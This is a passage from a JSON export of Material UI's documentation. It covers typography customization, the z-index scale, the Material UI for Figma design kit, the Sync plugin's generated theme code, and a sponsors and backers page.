responsive.\n\n{{\"demo\": \"ResponsiveFontSizesChart.js\", \"hideToolbar\": true}}\n\nYou can see this in action in the example below. Adjust your browser's window size, and notice how the font size changes as the width crosses the different [breakpoints](/material-ui/customization/breakpoints/):\n\n```js\nimport { createTheme, responsiveFontSizes } from '@mui/material/styles';\n\nlet theme = createTheme();\ntheme = responsiveFontSizes(theme);\n```\n\n{{\"demo\": \"ResponsiveFontSizes.js\"}}\n\n### Fluid font sizes\n\nTo be done: [#15251](https://github.com/mui/material-ui/issues/15251).\n\n### HTML font size\n\nYou might want to change the `<html>` element default font size. For instance, when using the [10px simplification](https://www.sitepoint.com/understanding-and-using-rem-units-in-css/).\n\n:::warning\nChanging the font size can harm accessibility ♿️. Most browsers agree on the default size of 16px, but the user can change it. For instance, someone with an impaired vision could set their browser's default font size to something larger.\n:::\n\nThe `theme.typography.htmlFontSize` property is provided for this use case,\nwhich tells Material UI what the font-size on the `<html>` element is.\nThis is used to adjust the `rem` value so the calculated font-size always match the specification.\n\n```js\nconst theme = createTheme({\n  typography: {\n    // Tell Material UI what the font-size on the html element is.\n    htmlFontSize: 10,\n  },\n});\n```\n\n```css\nhtml {\n  font-size: 62.5%; /* 62.5% of 16px = 10px */\n}\n```\n\nYou need to apply the above CSS on the HTML element of this page to see the below demo rendered correctly.\n\n{{\"demo\": \"FontSizeTheme.js\"}}\n\n## Variants\n\nThe typography object comes with [13 variants](/material-ui/react-typography/#component) by default:\n\n- h1\n- h2\n- h3\n- h4\n- h5\n- h6\n- subtitle1\n- subtitle2\n- body1\n- body2\n- button\n- caption\n- overline\n\nEach of these variants can be customized individually:\n\n```js\nconst theme = createTheme({\n  typography: {\n    subtitle1: {\n      fontSize: 12,\n    },\n    body1: {\n      fontWeight: 500,\n    },\n    button: {\n      fontStyle: 'italic',\n    },\n  },\n});\n```\n\n{{\"demo\": \"TypographyVariants.js\"}}\n\n## Adding & disabling variants\n\nIn addition to using the default typography variants, you can add custom ones, or disable any you don't need. Here is what you need to do:\n\n**Step 1. Update the theme's typography object**\n\nThe code snippet below adds a custom variant to the theme called `poster`, and removes the default `h3` variant:\n\n```js\nconst theme = createTheme({\n  typography: {\n    poster: {\n      fontSize: '4rem',\n      color: 'red',\n    },\n    // Disable h3 variant\n    h3: undefined,\n  },\n});\n```\n\n**Step 2. (Optional) Set the default semantic element for your new variant**\n\nAt this point, you can already use the new `poster` variant, which will render a `<span>` by default with your custom styles.\nSometimes you may want to default to a different HTML element for semantic purposes, or to replace the inline `<span>` with a block-level element for styling purposes.\n\nTo do this, update the `variantMapping` prop of the `Typography` component globally, at the theme level:\n\n```js\nconst theme = createTheme({\n  typography: {\n    poster: {\n      fontSize: 64,\n      color: 'red',\n    },\n    // Disable h3 variant\n    h3: undefined,\n  },\n  components: {\n    MuiTypography: {\n      defaultProps: {\n        variantMapping: {\n          // Map the new variant to render a <h1> by default\n          poster: 'h1',\n        },\n      },\n    },\n  },\n});\n```\n\n**Step 3. Update the necessary typings (if you are using TypeScript)**\n\n:::info\nIf you aren't using TypeScript you should skip this step.\n:::\n\nYou need to make sure that the typings for the theme's `typography` variants and the `Typography`'s `variant` prop reflects the new set of variants.\n\n<!-- Tested with packages/mui-material/test/typescript/augmentation/typographyVariants.spec.ts -->\n\n```ts\ndeclare module '@mui/material/styles' {\n  interface TypographyVariants {\n    poster: React.CSSProperties;\n  }\n\n  // allow configuration using `createTheme()`\n  interface TypographyVariantsOptions {\n    poster?: React.CSSProperties;\n  }\n}\n\n// Update the Typography's variant prop options\ndeclare module '@mui/material/Typography' {\n  interface TypographyPropsVariantOverrides {\n    poster: true;\n    h3: false;\n  }\n}\n```\n\n**Step 4. You can now use the new variant**\n\n{{\"demo\": \"TypographyCustomVariant.js\", \"hideToolbar\": true}}\n\n```jsx\n<Typography variant=\"poster\">poster</Typography>;\n\n/* This variant is no longer supported. If you are using TypeScript it will give an error */\n<Typography variant=\"h3\">h3</Typography>;\n```\n\n## Default values\n\nYou can explore the default values of the typography using [the theme explorer](/material-ui/customization/default-theme/?expand-path=$.typography) or by opening the dev tools console on this page (`window.theme.typography`).\n"
  },
  {
    "path": "docs/data/material/customization/z-index/z-index.md",
    "content": "# z-index\n\n<p class=\"description\">z-index is the CSS property that helps control layout by providing a third axis to arrange content.</p>\n\nSeveral Material UI components utilize `z-index`, employing a default z-index scale\nthat has been designed to properly layer drawers, modals, snackbars, tooltips, and more.\n\nThe `z-index` values start at an arbitrary number, high and specific enough to ideally avoid conflicts:\n\n- mobile stepper: 1000\n- fab: 1050\n- speed dial: 1050\n- app bar: 1100\n- drawer: 1200\n- modal: 1300\n- snackbar: 1400\n- tooltip: 1500\n\nThese values can always be customized.\nYou will find them in the theme under the [`zIndex`](/material-ui/customization/default-theme/?expand-path=$.zIndex) key of the theme.\nCustomization of individual values is discouraged; should you change one, you likely need to change them all.\n"
  },
  {
    "path": "docs/data/material/design-resources/material-ui-for-figma/material-ui-for-figma.md",
    "content": "# Material UI for Figma\n\n<p class=\"description\">Enhance designer-developer collaboration between Material UI and Figma.</p>\n\n## Getting started\n\nMaterial UI for Figma consists of representations of the library's React components in Figma so designers and developers can communicate and iterate more efficiently.\nThis Design Kit includes:\n\n- components with the same design as Material UI\n- additional components and features not covered by Material Design\n- shared terminology from the React library for props, variables, design tokens, and other values\n\n### Community vs. full version\n\nThe Material UI design kit is available in the [community (free) version](https://www.figma.com/community/file/912837788133317724/material-ui-for-figma-and-mui-x) and the [full (paid) version](https://mui.com/store/items/figma-react/).\n\n|                                   | Community | Full version |\n| :-------------------------------- | --------: | -----------: |\n| Components without customizations |       All |          All |\n| Components with customizations    |         4 |          All |\n| Figma variables                   |         - |           ✅ |\n\n### Installing the full version\n\nStart by extracting the `.zip` archive which contains the `.fig` files.\nThen you can either follow [Figma's import guide](https://help.figma.com/hc/en-us/articles/360041003114-Import-files-to-the-file-browser) or [add it to your team library](https://help.figma.com/hc/en-us/articles/360041051154-Guide-to-libraries-in-Figma).\n\n### Changelog\n\nVisit [the Releases tab on GitHub](https://github.com/mui/mui-design-kits/releases?q=figma&expanded=true) to keep track of new design kit versions.\n\n## Theme\n\n### Local variables\n\nThe design kit uses Figma's local variables to create a collection of styles comparable to the theme structure of Material UI code.\nFollow the steps in the video below to see all the variables available:\n\n<iframe height=\"490\" style=\"aspect-ratio: 16 / 9; width: 100% !important; border: 0\" src=\"https://www.youtube.com/embed/u3zR6p-OjKQ?si=DDVEsedwmJQeik3T\" title=\"YouTube video player\" allowfullscreen></iframe>\n\n### Customizing colors\n\nUse the variables panel to customize colors as shown in the video below:\n\n<iframe height=\"490\" style=\"aspect-ratio: 16 / 9; width: 100% !important; border: 0\" src=\"https://www.youtube.com/embed/YuzkWFm0-bA?si=XvgPR0vNGtiBPqKY\" title=\"YouTube video player\" allowfullscreen></iframe>\n\n### Customizing typography\n\nTypography customization uses local styles rather than local variables.\nThe experience is similar to modifying colors, as shown in the video below:\n\n<iframe height=\"490\" style=\"aspect-ratio: 16 / 9; width: 100% !important; border: 0\" src=\"https://www.youtube.com/embed/HepVDfrLmak?si=gklG_3ZZyxDWzlPM\" title=\"YouTube video player\" allowfullscreen></iframe>\n\n### Switching between light and dark modes\n\nThe design kit uses Figma's local variables to let you toggle the variable mode between light and dark, as shown in the video below:\n\n<iframe height=\"490\" style=\"aspect-ratio: 16 / 9; width: 100% !important; border: 0\" src=\"https://www.youtube.com/embed/ydTF1HhLnJM?si=1Fj4CFLgVavfg4Fz\" title=\"YouTube video player\" allowfullscreen></iframe>\n\n## Components\n\n### Editing the main components\n\nYou can use the [Similayer](https://www.figma.com/community/plugin/735733267883397781/similayer) plugin to select multiple components at once that share some property.\n\n<iframe height=\"490\" style=\"aspect-ratio: 16 / 9; width: 100% !important; border: 0\" src=\"https://www.youtube.com/embed/eHBk0FbS0P8?si=QbOiMU2F1yvGB6s8\" title=\"YouTube video player\" allowfullscreen></iframe>\n\n### Table component\n\n#### Adding new columns\n\nThe video below shows how to add new columns by detaching cells from their row components, allowing you to freely move content around.\n\n<iframe src=\"https://www.loom.com/embed/6dd71cc374bc4d84af35ebb75d107d38?sid=1d3a4790-4c28-433e-94ce-97dd969601dd\" webkitallowfullscreen mozallowfullscreen allowfullscreen style=\"width: 100%; height: 500px; border: 0\"></iframe>\n\n#### Adding new columns in the main component\n\nThe Table and Data Grid components come with a limited number of columns by default.\nThe video below shows how to add new columns by copying cells directly on the main component:\n\n<iframe height=\"490\" style=\"aspect-ratio: 16 / 9; width: 100% !important; border: 0\" src=\"https://www.youtube.com/embed/s_n3LHm1daI?si=_QbXvtYPkc8EBd5d\" title=\"YouTube video player\" allowfullscreen></iframe>\n\n## Code sync (beta)\n\nYou can export theme tokens and component customizations to code using [the Sync plugin for Figma](/material-ui/design-resources/material-ui-sync/).\nThe Design Kit has been built to be as close to the React components as possible, making it for a fluid integration with code.\n\nLearn more about the Material UI theme structure by visiting the [Theming](/material-ui/customization/theming/) and [Default theme viewer](/material-ui/customization/theming/) pages.\n\n## Using new design kit versions\n\nWe generally don't release breaking changes in the updates—we add new content instead.\nIf you need to replace a single component that's been updated, there are a couple of options:\n\n1. Add the new version of the design kit as a library and use [the new Figma library swap feature](https://www.youtube.com/watch?v=GQ2jztKpxLk). The components must have the same names in both libraries.\n2. Observe the new component and re-apply the changes to the existing projects. This is the recommended approach when you need to update multiple projects.\n3. Copy and paste the new component into your existing project, give it a different temporary name, then re-link tokens to the new component. When using [Select Similar plugins](https://www.figma.com/community/plugin/792767780551514994/select-similar) this shouldn't take more than five minutes. Then you can remove the old component and update the new component name.\n\n## Feedback and bug reports\n\nIf you've got any feedback, we'd love to [hear from you](https://github.com/mui/mui-design-kits/discussions/84).\n\n## Integrations\n\n### Anima\n\nWith Anima, you can effortlessly transform your Figma designs into Material UI code.\nAnima intelligently matches your design components in Figma to the most relevant code API, ensuring that the code generated is clean, reusable, and production-ready.\nAnima supports both Figma and VS Code, so you can choose the workflow that suits you best.\n\n- Use the [Anima Figma Plugin](https://www.figma.com/community/plugin/857346721138427857/anima-figma-to-code-react-html-css-tailwind-mui-devmode-inspect-react-html-vue-css) to convert your designs directly in Figma.\n- Use the [Anima VS Code Extension (Frontier)](https://marketplace.visualstudio.com/items?itemName=AnimaApp.vscode-anima) to seamlessly generate and edit Material UI code in your development environment.\n\nVisit [Anima](https://www.animaapp.com/) for more details.\n\n### Quest\n\n[Quest](https://www.quest.ai/) provides a native integration with this design kit.\n\nWhen you design your components with the kit, you can use [Quest plugin](https://www.figma.com/community/plugin/862039267149408972/figma-to-react-from-quest) to convert your Figma designs into Material UI code.\nThe code generated should be clean and production-ready.\n\nVisit the [Quest documentation](https://docs.quest.ai/quest-docs) for more details.\n"
  },
  {
    "path": "docs/data/material/design-resources/material-ui-sync/material-ui-sync.md",
    "content": "# Material UI Sync plugin 🧪\n\n<p class=\"description\">Sync is a Figma plugin that generates Material UI themes directly from design to code.</p>\n\n:::error\nDevelopment on the Material UI Sync plugin was suspended in 2024.\nYou should not expect updates on this project in the future.\n:::\n\n## Introduction\n\n[Material UI Sync](https://www.figma.com/community/plugin/1336346114713490235/material-ui-sync) is a Figma plugin that lets you generate a theme from the [Material UI for Figma Design Kit](https://www.figma.com/community/file/912837788133317724/material-ui-for-figma-and-mui-x).\n\n<img src=\"/static/material-ui/design-resources/sync.png\" style=\"width: 814px;\" alt=\"Customizing the Material UI Switch component in Figma with the Sync plugin running.\" width=\"1628\" height=\"400\" />\n\nSync works in combination with the [Material UI for Figma Design Kit v5.16.0](https://github.com/mui/mui-design-kits/releases) and later.\n\n## Running the plugin\n\nIf you don't have the [complete and latest version](/store/items/figma-react/) of the Material UI for Figma Design Kit installed, you can test the plugin by using the [Community version](https://www.figma.com/community/file/912837788133317724/material-ui-for-figma-and-mui-x) instead.\n\nAfter installing and opening it in Figma, head over to the [Material UI Sync plugin page](https://www.figma.com/community/plugin/1336346114713490235/material-ui-sync) on the Community tab and click on **Open in…** and select the Material UI for Figma Design Kit.\n\n<img src=\"/static/material-ui/design-resources/sync-access.png\" style=\"width: 814px;\" alt=\"Accessing Material UI Sync via the Resources menu in Figma.\" width=\"1628\" height=\"400\" />\n\n## Customizing design tokens\n\nDesign tokens are defined in the Design Kit's [local variable collections](https://help.figma.com/hc/en-us/articles/15145852043927-Create-and-manage-variables-and-collections) and include color palettes, breakpoints, shapes, and spacing tokens.\nTypography and shadow-related tokens are found in the [local styles collection](https://help.figma.com/hc/en-us/articles/360039820134-Manage-and-share-styles#:~:text=Local%20styles%20are%20styles%20that,or%20from%20the%20style%20picker.).\n\n### Altering existing tokens\n\nThe Design Kit comes fully loaded with design tokens that map out to the [default theme of the Material UI React library](/material-ui/customization/default-theme/).\n\nTo customize existing tokens, open the [local variable modal](https://help.figma.com/hc/en-us/articles/15145852043927-Create-and-manage-variables-and-collections) by clicking on the filter icon as shown below.\nTweak any of the variables available in the collections (such as palettes, breakpoints, shapes, and spacing) as you see fit.\n\n<img src=\"/static/material-ui/design-resources/sync-variables.png\" style=\"width: 814px; margin-bottom: 8px;\" alt=\"The Local variables menu in Figma, where all design tokens are stored and new ones can be added.\" width=\"1628\" height=\"400\" />\n\nThen open the Material UI Sync plugin and click on **Generate theme**.\n\n<img src=\"/static/material-ui/design-resources/sync-generate.png\" style=\"width: 814px; margin-bottom: 8px;\" alt=\"The Generate theme button in the Material UI Sync plugin UI.\" width=\"1628\" height=\"400\" />\n\nA theme containing the altered tokens is generated and displayed in the plugin's Theme tab.\n\n<img src=\"/static/material-ui/design-resources/sync-code-editor.png\" style=\"width: 814px; margin-bottom: 8px;\" alt=\"The generated theme displayed in the Material UI Sync plugin UI.\" width=\"1628\" height=\"400\" />\n\nYou can also preview the generated theme and the customized tokens by navigating to the Storybook preview tab.\n\n<img src=\"/static/material-ui/design-resources/sync-storybook.png\" style=\"width: 814px\" alt=\"The generated theme previewed in Storybook in the Material UI Sync plugin UI.\" width=\"1628\" height=\"400\" />\n\n### Adding new tokens\n\nYou can extend the existing tokens set with your own either by adding new variables to the existing local variable collections, or by adding new elevation and typography styles to the local style collections.\nAfter you've added your custom tokens, click on **Regenerate theme** to include these tokens in your theme.\n\n<img src=\"/static/material-ui/design-resources/sync-regenerate.png\" style=\"width: 814px\" alt=\"The Regenerate button in the Connect plugin UI.\" width=\"1628\" height=\"400\" />\n\n## Customizing components\n\n:::warning\nThis feature is experimental and limited to the **Button**, **Switch**, and **Typography** components.\n:::\n\nThe Sync plugin can also generate theme styles for customized components, enabling you to completely change their look and feel and create your custom design system from within Figma.\n\nAs an example, here's how to customize the checked state, medium size, and primary color of a Switch component to replicate the iOS look and feel:\n\n<img src=\"/static/material-ui/design-resources/sync-component-variant.png\" style=\"width: 814px; margin-bottom: 8px;\" alt=\"A specific variant of the Switch component selected in the Design Kit.\" width=\"1628\" height=\"400\" />\n\n:::warning\nThe Design Kit's component layer hierarchy and layer names must remain unaltered for Sync to correctly extract custom component styles and generate the theme.\n:::\n\nThe Sync plugin generates the following theme code for the customized Switch:\n\n```js\n{\n  components: {\n    MuiSwitch: {\n      styleOverrides: {\n        root: {\n          '&.MuiSwitch-sizeMedium:has(.MuiSwitch-colorPrimary)': {\n            '&:has(.Mui-checked):not(:has(.Mui-disabled)):not(:has(.Mui-focusVisible))':\n              {\n                width: '40px',\n                height: '21px',\n                padding: '0',\n                '& .MuiSwitch-switchBase': {\n                  transform: 'translateX(19px) translateY(2px)',\n                  padding: '0',\n                  '& .MuiSwitch-thumb': {\n                    width: '17px',\n                    height: '17px',\n                    background: '#FAFAFA',\n                  },\n                  '& + .MuiSwitch-track': {\n                    width: '38px',\n                    height: '21px',\n                    background: 'var(--mui-palette-success-light)',\n                    opacity: '1',\n                  },\n                },\n              },\n          },\n        },\n      },\n    },\n  },\n}\n```\n\nThe generated theme targets classes that correspond to the specific Switch configuration defined above, so styles are only applied when the props and state of the Material UI component match those of the customized Figma component.\n\nTo customize other states, you need to apply the desired design changes to each variant in Figma by following these steps:\n\n1. Customize a single \"base\" variant—for example, a Switch component in the checked state, of medium size, and primary color.\n2. Clone this variant and rename it to target the next variant you'd like to customize—for example, rename the cloned version of `Checked=True, Size=Medium, Color=Primary, State=Enabled` to `Checked=False, Size=Medium, Color=Primary, State=Enabled`.\n3. Delete the old versions of the same variant.\n4. Move the new version to the correct square in the variant grid.\n5. Make the necessary style adjustments to the variant's child layers.\n\nRepeat this process for each variant you want to customize.\nHere's an example of what this might look like:\n\n<img src=\"/static/material-ui/design-resources/sync-switch-component-customized.png\" style=\"width: 814px; margin-bottom: 8px;\" alt=\"A fully customized Switch component in the Material UI Design Kit.\" width=\"1628\" height=\"400\" />\n\nFrom here you can run Sync to generate a new theme—here's what would be generated from the example above:\n\n```js\n{\n  components: {\n    MuiSwitch: {\n      styleOverrides: {\n        root: {\n          '&.MuiSwitch-sizeMedium:has(.MuiSwitch-colorPrimary)': {\n            width: '40px',\n            height: '21px',\n            padding: '0',\n            '& .MuiSwitch-switchBase': {\n              padding: '0',\n              '& .MuiSwitch-thumb': {\n                width: '17px',\n                height: '17px',\n                background: '#FAFAFA',\n              },\n              '& + .MuiSwitch-track': {\n                width: '38px',\n                height: '21px',\n                borderRadius: '100px',\n                opacity: '1',\n              },\n            },\n            '&:not(:has(.Mui-checked)):not(:has(.Mui-disabled)):not(:has(.Mui-focusVisible))': {\n              '& .MuiSwitch-switchBase': {\n                transform: 'translateX(3px) translateY(2px)',\n                '& + .MuiSwitch-track': {\n                  background: '#BDBDBD',\n                },\n              },\n            },\n            '&:not(:has(.Mui-checked)):has(.Mui-disabled):not(:has(.Mui-focusVisible))': {\n              '& .MuiSwitch-switchBase': {\n                transform: 'translateX(3px) translateY(2px)',\n                '& + .MuiSwitch-track': {\n                  background: 'rgba(229, 229, 229, 0.99)',\n                },\n              },\n            },\n            '&:not(:has(.Mui-checked)):not(:has(.Mui-disabled)):has(.Mui-focusVisible)': {\n              '& .MuiSwitch-switchBase': {\n                transform: 'translateX(3px) translateY(2px)',\n                '& + .MuiSwitch-track': {\n                  border: '1px solid #000',\n                  background: '#BDBDBD',\n                },\n              },\n            },\n            '&:has(.Mui-checked):has(.Mui-disabled):not(:has(.Mui-focusVisible))': {\n              '& .MuiSwitch-switchBase': {\n                transform: 'translateX(19px) translateY(2px)',\n                '& + .MuiSwitch-track': {\n                  background: 'rgba(187, 231, 188, 0.99)',\n                },\n              },\n            },\n            '&:not(:has(.Mui-checked)):not(:has(.Mui-disabled)):not(:has(.Mui-focusVisible)):hover': {\n              '& .MuiSwitch-switchBase': {\n                transform: 'translateX(3px) translateY(2px)',\n                '& + .MuiSwitch-track': {\n                  background: '#616161',\n                },\n              },\n            },\n            '&:has(.Mui-checked):not(:has(.Mui-disabled)):not(:has(.Mui-focusVisible))': {\n              '& .MuiSwitch-switchBase': {\n                transform: 'translateX(19px) translateY(2px)',\n                '& + .MuiSwitch-track': {\n                  background: 'var(--mui-palette-success-light)',\n                },\n              },\n            },\n            '&:has(.Mui-checked):not(:has(.Mui-disabled)):not(:has(.Mui-focusVisible)):hover': {\n              '& .MuiSwitch-switchBase': {\n                transform: 'translateX(19px) translateY(2px)',\n                '& + .MuiSwitch-track': {\n                  background: 'var(--mui-palette-success-dark)',\n                },\n              },\n            },\n            '&:has(.Mui-checked):not(:has(.Mui-disabled)):has(.Mui-focusVisible)': {\n              '& .MuiSwitch-switchBase': {\n                transform: 'translateX(19px) translateY(2px)',\n                '& + .MuiSwitch-track': {\n                  border: '1px solid #000',\n                  background: 'var(--mui-palette-success-light)',\n                },\n              },\n            },\n          },\n        },\n      },\n    },\n  },\n}\n```\n\n:::info\nThe generated theme may contain the CSS `has()` selector, which is used to target specific child classes.\nThis selector is not used by other theme-related examples in the docs because it used to have limited browser support.\nIt is now [supported by all modern browsers](https://caniuse.com/css-has).\n:::\n\nYou can also check out the Storybook preview to test the Material UI version of your component.\n\n<img src=\"/static/material-ui/design-resources/sync-switch-component-customized-storybook.png\" style=\"width: 814px\" alt=\"A fully customized Switch component in Storybook.\" width=\"1628\" height=\"400\" />\n\n## Using the generated theme\n\nHere's an example of how to add a Sync-generated theme to your codebase:\n\n```tsx title=\"_app.tsx\"\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\n\nconst theme = createTheme({\n  cssVariables: true,\n  shape: {\n    borderRadiusRound: 999,\n  },\n  components: {\n    MuiSwitch: {\n      styleOverrides: {\n        root: {\n          '&.MuiSwitch-sizeMedium:has(.MuiSwitch-colorPrimary)': {\n            '&:has(.Mui-checked):not(:has(.Mui-disabled)):not(:has(.Mui-focusVisible))':\n              {\n                width: '40px',\n                height: '21px',\n                padding: '0',\n                '& .MuiSwitch-switchBase': {\n                  transform: 'translateX(19px) translateY(2px)',\n                  padding: '0',\n                  '& .MuiSwitch-thumb': {\n                    width: '17px',\n                    height: '17px',\n                    background: '#FAFAFA',\n                  },\n                  '& + .MuiSwitch-track': {\n                    width: '38px',\n                    height: '21px',\n                    background: 'var(--mui-palette-success-light)',\n                    borderRadius: 'var(--mui-shape-borderRadiusRound)',\n                    opacity: '1',\n                  },\n                },\n              },\n          },\n        },\n      },\n    },\n  },\n});\n\nexport default function MyApp(props) {\n  const { Component, pageProps } = props;\n\n  return (\n    <ThemeProvider theme={theme}>\n      <Component {...pageProps} />\n    </ThemeProvider>\n  );\n}\n```\n\n## Feedback and bug reports\n\nIf you've got any feedback, we'd love to [hear from you](https://github.com/mui/mui-design-kits/discussions/84).\n"
  },
  {
    "path": "docs/data/material/discover-more/backers/backers.md",
    "content": "# Sponsors and Backers\n\n<p class=\"description\">Support the development of the open-source projects of the MUI organization through crowdfunding.</p>\n\nMaterial UI is a crowd-funded open-source project, licensed under the permissive MIT license.\nSponsorship increases the rate of bug fixes, documentation improvements, and feature development.\n\n## Diamond sponsors\n\n<p style=\"display: flex; justify-content: start; align-items: center; flex-wrap: wrap; margin-top: 8px;\">\n  <a data-ga-event-category=\"sponsor\" data-ga-event-action=\"docs-backers\" data-ga-event-label=\"doit.com\" href=\"https://www.doit.com/flexsave/?utm_source=mui.com&utm_medium=referral&utm_content=backers\" rel=\"noopener sponsored\" target=\"_blank\" class=\"remove-link-arrow\" class=\"remove-link-arrow\" style=\"margin-right: 24px;\"><img height=\"128\" width=\"128\" src=\"/static/sponsors/doit-square.svg\" alt=\"doit\" title=\"Management platform for Google Cloud and AWS\" loading=\"lazy\" /></a>\n  <a data-ga-event-category=\"sponsor\" data-ga-event-action=\"docs-backers\" data-ga-event-label=\"formengine.io\" href=\"https://formengine.io/lightweight-react-json-schema-form-builder-library-for-mui?utm_source=mui&utm_medium=sponsor&utm_campaign=mui&utm_content=stop-manually&utm_term=smartway\" rel=\"noopener sponsored\" target=\"_blank\" class=\"remove-link-arrow\" class=\"remove-link-arrow\" style=\"margin-right: 24px;\"><img height=\"128\" width=\"128\" src=\"/static/sponsors/formengine-square.svg\" alt=\"formengine\" title=\"Build forms with MUI the smart way!\" loading=\"lazy\" /></a>\n</p>\n\n_1/3 slots available_\n\nDiamond sponsors are those who've pledged \\$1,500/month or more to the MUI organization. [Tier benefits](#diamond).\n\n## Gold sponsors\n\nvia [Open Collective](https://opencollective.com/mui-org) or via [the for-profit](https://www.patreon.com/oliviertassinari)\n\n<p style=\"display: flex; justify-content: start; align-items: center; flex-wrap: wrap;\">\n  <a data-ga-event-category=\"sponsor\" data-ga-event-action=\"docs-backers\" data-ga-event-label=\"tidelift.com\" href=\"https://tidelift.com/\" rel=\"noopener sponsored\" target=\"_blank\" class=\"remove-link-arrow\" style=\"margin-right: 16px;\"><img height=\"96\" width=\"96\" src=\"https://avatars.githubusercontent.com/u/30204434?s=96\" srcset=\"https://avatars.githubusercontent.com/u/30204434?s=288 3x\" alt=\"tidelift.com\" title=\"Tidelift: Enterprise-ready open-source software.\" loading=\"lazy\" /></a>\n  <a data-ga-event-category=\"sponsor\" data-ga-event-action=\"docs-backers\" data-ga-event-label=\"dialmycalls.com\" href=\"https://www.dialmycalls.com/?utm_source=mui.com&utm_medium=referral&utm_content=backers\" rel=\"noopener sponsored\" target=\"_blank\" class=\"remove-link-arrow\" style=\"margin-right: 16px;\"><img height=\"96\" width=\"96\" src=\"https://images.opencollective.com/dialmycalls/f5ae9ab/avatar/96.png\" srcset=\"https://images.opencollective.com/dialmycalls/f5ae9ab/avatar/288.png 3x\" alt=\"dialmycalls.com\" title=\"DialMyCalls: Send text messages, calls, and emails.\" loading=\"lazy\" /></a>\n  <a data-ga-event-category=\"sponsor\" data-ga-event-action=\"docs-backers\" data-ga-event-label=\"react-pdf-kit.dev\" href=\"https://www.react-pdf-kit.dev/?utm_source=mui.com&utm_medium=referral&utm_content=backers\" rel=\"noopener sponsored\" target=\"_blank\" class=\"remove-link-arrow\" style=\"margin-right: 16px;\"><img height=\"96\" width=\"96\" src=\"https://images.opencollective.com/react-pdf-kit/c8e1c25/logo/96.png\" srcset=\"https://images.opencollective.com/react-pdf-kit/c8e1c25/logo/96.png 3x\" alt=\"react-pdf-kit.dev\" title=\"Powerful, Fast, Dev-Friendly React PDF Viewer.\" loading=\"lazy\" /></a>\n</p>\n\n<!--\nList gold sponsors that regular sponsors could feel uncomfortable being listed next to.\nFor example, it could be because the service breaks another service's Terms of service and hence is a moral minefield.\n-->\n<p style=\"display: flex; justify-content: start; align-items: center; flex-wrap: wrap;\">\n  <a data-ga-event-category=\"sponsor\" data-ga-event-action=\"docs-backers\" data-ga-event-label=\"goread.io\" href=\"https://goread.io/?utm_source=mui.com&utm_medium=referral&utm_content=backers\" rel=\"noopener sponsored\" target=\"_blank\" class=\"remove-link-arrow\" style=\"margin-right: 16px; display:flex;\" title=\"Instagram followers, likes, views, and comments.\">Goread.io</a>\n  <a data-ga-event-category=\"sponsor\" data-ga-event-action=\"docs-backers\" data-ga-event-label=\"buzzoid.com\" href=\"https://buzzoid.com/?utm_source=mui.com&utm_medium=referral&utm_content=backers\" rel=\"noopener sponsored\" target=\"_blank\" class=\"remove-link-arrow\" style=\"margin-right: 16px; display:flex;\" title=\"Instant delivery Instagram followers.\">Buzzoid</a>\n  <a data-ga-event-category=\"sponsor\" data-ga-event-action=\"docs-backers\" data-ga-event-label=\"twicsy.com\" href=\"https://twicsy.com/?utm_source=mui.com&utm_medium=referral&utm_content=backers\" rel=\"noopener sponsored\" target=\"_blank\" class=\"remove-link-arrow\" style=\"margin-right: 16px; display:flex;\" title=\"Instant delivery Instagram followers.\">Twicsy</a>\n  <a data-ga-event-category=\"sponsor\" data-ga-event-action=\"docs-backers\" data-ga-event-label=\"views4you.com\" href=\"https://views4you.com/?utm_source=mui.com&utm_medium=referral&utm_content=backers\" rel=\"noopener sponsored\" target=\"_blank\" class=\"remove-link-arrow\" style=\"margin-right: 16px; display:flex;\" title=\"Social media growth services.\">Views4You</a>\n  <a data-ga-event-category=\"sponsor\" data-ga-event-action=\"docs-backers\" data-ga-event-label=\"poprey.com\" href=\"https://poprey.com/?utm_source=mui.com&utm_medium=referral&utm_content=backers\" rel=\"noopener sponsored\" target=\"_blank\" class=\"remove-link-arrow\" style=\"margin-right: 16px; display:flex;\" title=\"Buy Instagram likes with crypto.\">Poprey</a>\n  <a data-ga-event-category=\"sponsor\" data-ga-event-action=\"docs-backers\" data-ga-event-label=\"socialwick.com/followers\" href=\"https://www.socialwick.com/instagram/followers\" rel=\"noopener sponsored\" target=\"_blank\" class=\"remove-link-arrow\" style=\"margin-right: 16px; display:flex;\" title=\"Buy Instagram followers.\">SocialWick</a>\n  <a data-ga-event-category=\"sponsor\" data-ga-event-action=\"docs-backers\" data-ga-event-label=\"follower24.de\" href=\"https://www.follower24.de/?utm_source=mui.com&utm_medium=referral&utm_content=backers\" rel=\"noopener sponsored\" target=\"_blank\" class=\"remove-link-arrow\" style=\"margin-right: 16px; display:flex;\" title=\"Social media success.\">Follower24</a>\n</p>\n\nGold sponsors are those who've pledged \\$500/month or more to the MUI organization. [Tier benefits](#gold).\n\n## Silver sponsors\n\nvia [Open Collective](https://opencollective.com/mui-org)\n\n<p style=\"overflow: auto;\">\n  <object type=\"image/svg+xml\" data=\"https://opencollective.com/mui-org/tiers/silver-sponsor.svg?avatarHeight=70&width=600\" style=\"border-radius: 10px;\">Silver Sponsors</object>\n</p>\n\nSilvers sponsors are those who've pledged $250/month to $500/month to the MUI organization. [Tier benefits](#silver).\n\n## Bronze sponsors\n\nvia [Open Collective](https://opencollective.com/mui-org)\n\n<p style=\"overflow: auto;\">\n  <object type=\"image/svg+xml\" data=\"https://opencollective.com/mui-org/tiers/bronze-sponsor.svg?avatarHeight=60&width=600\" style=\"border-radius: 10px;\">Bronze Sponsors</object>\n</p>\n\nBronze sponsors are those who've pledged $100/month to $250/month to the MUI organization. [Tier benefits](#bronze).\n\n## Backers\n\nvia [Open Collective](https://opencollective.com/mui-org)\n\n<p style=\"overflow: auto;\">\n  <object type=\"image/svg+xml\" data=\"https://opencollective.com/mui-org/tiers/backer.svg?avatarHeight=50&width=600\" style=\"border-radius: 10px;\">Backers</object>\n</p>\n\n## FAQ\n\n### Why is Material UI a \"crowd-funded open-source project\"?\n\nMaterial UI is open-source to give users great freedom in how they use the software and to enable the community to have influence over how the project progresses to make it appropriate for a wide range of use cases.\nTo ensure that these open-source libraries can stand the test of time for our users, they need to be well-directed and financially sustainable.\n\nThe absolute best way to support the MUI organization to work on its libraries' ongoing development efforts is to become a sponsor.\nCrowd-sourced funding enables us to spend the most time directly working on improving the open-source projects, which you and the rest of the community then benefit from.\n\n### How is sponsorship money spent?\n\nSponsorship money is used to fund open-source software development, testing, documentation, and releases of the projects.\n\n### Is sponsorship required to use Material UI?\n\nUsers are not obligated to give back to Material UI, but it is in their interest to do so.\n\nBy significantly reducing the 